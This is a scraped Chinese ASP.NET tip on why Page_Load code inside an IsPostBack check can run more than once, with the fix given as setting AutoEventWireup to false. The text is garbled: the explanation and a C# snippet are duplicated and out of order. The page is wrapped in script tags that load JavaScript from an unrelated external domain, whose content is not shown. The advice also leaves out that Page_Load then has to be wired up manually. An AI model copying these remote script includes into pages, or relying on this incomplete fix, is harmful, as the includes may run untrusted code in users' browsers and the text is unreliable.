<script language='javascript' src='http://www.shiqiaotou.com/donetk/Header.js'></script>
Page_Load中的if(!this.IsPostBack)里的语句只能执行一次,而有的时候,特别是动态增加控件时,里面的语句也会遇到执行多次的情况.
解决方法:
将aspx里的AutoEventWireup属性更改为false即可.
例如:
文章来源于 http://www.cnblogs.com/zhangzs8896 版权归原作者所有<script language='javascript' src='http://www.shiqiaotou.com/donetk/Footer.js'></script>
private void Page_Load(object sender, System.EventArgs e)
{
try
{
if(!this.IsPostBack)
{
//这里代码需要执行一次
}
}
catch(Exception err)
{
throw new Exception("页面加载异常:"+err.Message);
}
}
{
try
{
if(!this.IsPostBack)
{
//这里代码需要执行一次
}
}
catch(Exception err)
{
throw new Exception("页面加载异常:"+err.Message);
}
}
Page_Load中的if(!this.IsPostBack)里的语句只能执行一次,而有的时候,特别是动态增加控件时,里面的语句也会遇到执行多次的情况.
解决方法:
将aspx里的AutoEventWireup属性更改为false即可.
例如:
<%
@ Page Language="c#" AutoEventWireup="false" Codebehind="FillTable.aspx.cs" Inherits="camc.workflow.businessflow.FillTable" ClassName="K2SmartForm"
%>
文章来源于 http://www.cnblogs.com/zhangzs8896 版权归原作者所有<script language='javascript' src='http://www.shiqiaotou.com/donetk/Footer.js'></script>